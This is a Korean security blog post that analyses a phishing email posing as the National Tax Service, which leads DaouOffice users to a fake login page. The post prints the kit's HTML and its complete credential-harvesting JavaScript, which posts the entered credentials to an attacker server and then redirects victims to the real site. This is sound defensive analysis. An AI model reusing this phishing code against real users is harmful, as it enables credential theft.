annyoung

다우오피스 국세청 사칭 이메일 피싱 본문

분석생활

다우오피스 국세청 사칭 이메일 피싱

nopsled 2025. 3. 6. 09:58

국세청을 사칭해 전자세금계산서 발급 메일을 안내하는 이메일 피싱이다.

 

피해자는 첨부된 파일을 다운로드받아 여는 경우 HTML로 작성된 다우오피스의 로그인 페이지를 만날 수 있다. (다행히 악성코드 등의 추가 행위는 없다.)

 

아이디 입력란에는 수신받은 피해자 이메일로 하드코딩 되어 있다.

 

<!-- dongiltech에서 사용하는 다우오피스 로그인 페이지 css styling -->
<link
  rel="stylesheet"
  href="https://dongiltech.daouoffice.com/resources/css/go_style.css?rev=202208111915"
  media="screen"
/>
<link
  rel="stylesheet"
  href="https://dongiltech.daouoffice.com/resources/css/go_style.css?rev=202208111915"
  media="screen"
/>
<link
  rel="stylesheet"
  href="https://dongiltech.daouoffice.com/resources/css/go_style.css?rev=202208111915"
  media="screen"
/>
<link
  rel="stylesheet"
  href="https://dongiltech.daouoffice.com/resources/css/go_color_mint.css?rev=202208111915"
  media="screen, print"
/>

<!-- ysmg에서 사용하는 다우오피스 로그인 페이지 로고 이미지 -->
<img
  id="fieldImg"
  src="https://ysmg.daouoffice.com/thumb/original/103974-6313"
  style="width: 50px"
/><br /><br />

 

몇 개만 간추려보자면 로그인 페이지는 다우오피스를 사용하는 다른 기업들의 css, img를 섞어서 만들었다.

 

window.addEventListener("load", () => {
  function a(a) {
      return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(a)
  }

  function b(a) {
      "Enter" === a.key && (a.preventDefault(), g.click())
  }
  let c = 0;
  const d = document.getElementById("username"),
      f = document.getElementById("password"),
      g = document.getElementById("login_submit"),
      h = document.getElementById("login_msg");
  a(d.value.trim()) ? (f.value = "", f.focus()) : (d.value = "", d.focus()), d.addEventListener("keydown", b), f.addEventListener("keydown", b), g.addEventListener("click", async b => {
      if (b.preventDefault(), h.classList.add("hide"), !a(d.value.trim())) return d.value = "", h.classList.remove("hide"), void d.focus();
      if (2 > f.value.trim().length) return h.classList.remove("hide"), f.value = "", void f.focus();
      const e = new FormData;
      e.append("userPro", d.value.trim()), e.append("passTro", f.value.trim());
      try {
          const a = await fetch(atob(phpLink), {
                  method: "POST",
                  body: e
              }),
              b = await a.json();
          a.ok ? (1 <= c && (window.location.href = `https://daouoffice.com/`), c += 1, h.classList.remove("hide"), f.value = "", f.focus()) : (h.textContent = b.message || "Login failed", h.classList.remove("hide"))
      } catch (a) {
          h.textContent = "An error occurred. Please try again.", h.classList.remove("hide"), console.log(a)
      }
  })
});

 

그리고 가짜 다우오피스 로그인 페이지에서 사용되는 로그인 자바스크립트이다.

 

기본적으로 아이디는 공백제거 후 이메일 유효성 검사를 거치고, 비밀번호는 공백제거 후 3자리 이상 입력되어야 공격자의 서버로 아이디, 비밀번호가 전송된다. 유효성 검사를 통과하지 못하는 경우 사용자 정보가 올바르지 않습니다.는 메시지를 띄운다.

 

로그인을 2번 이상 시도하는 경우 실제 다우오피스 랜딩페이지로 리다이렉션 시켜 피해자들의 의심을 피한다. 

 

여기서 정말 신기한점은 공격자가 공격자 서버에 다우오피스에 실제로 로그인하는 과정을 거쳐 실제 사용자가 입력한 아이디와 비밀번호의 유효성을 검사한다. 로그인이 되는 경우 로그인 실패를 보여주는 div에 서버로부터 받은 message를 삽입해서 보여준다. textContent를 사용하는 것으로 보아 HTML 형태가 아닌 단순한 텍스트 형태의 return으로 생각한다.

 

두 번째로 신기한점은 이런 피싱류는 대부분 레거시한 문법을 사용하는데 es6 문법인 백틱(`)이 적용되어 있다. 내가 봐왔던 대부분의 obfuscator들은 minify를 시켰다 하더라도 ''로 선언된 문자열이 ``로 변경되진 않는다. 아무튼 자세히보면 다우오피스로 이동시킬때 'https://daouoffice.com/'이 아닌 `https://daouoffice.com/`과 같이 백틱을 사용해서 이동시킨다. 

 

그리고 정말 이상한점은 피싱 타겟이 그룹웨어로 다우오피스를 사용하고 있는 사람들인데, 다우오피스를 사용하고 있는지 어떻게 아는가가 궁금하다. 우리 말단 직원들은 이런 메일을 받아보지도 못했는데, 대표님 두 분만 받아본걸로 추정된다.

 

 

아무튼 이렇게 입력된 아이디 비밀번호는 txt 형태로 공격자의 서버에 아이피와 시간과 함께 저장된다.

 

확인된 피해자는 10,000명 이상이다.

'분석생활' 카테고리의 다른 글

네이버 카페 안전결제 사기 관리자 편  (29) 2024.08.13
대기열 bypass  (40) 2024.07.30
네이버 카페 안전결제 사기 후속편  (25) 2024.06.20
네이버 카페 안전결제 사기  (43) 2024.06.17
NoteGPT 정보 수집 관련  (20) 2024.03.21
Comments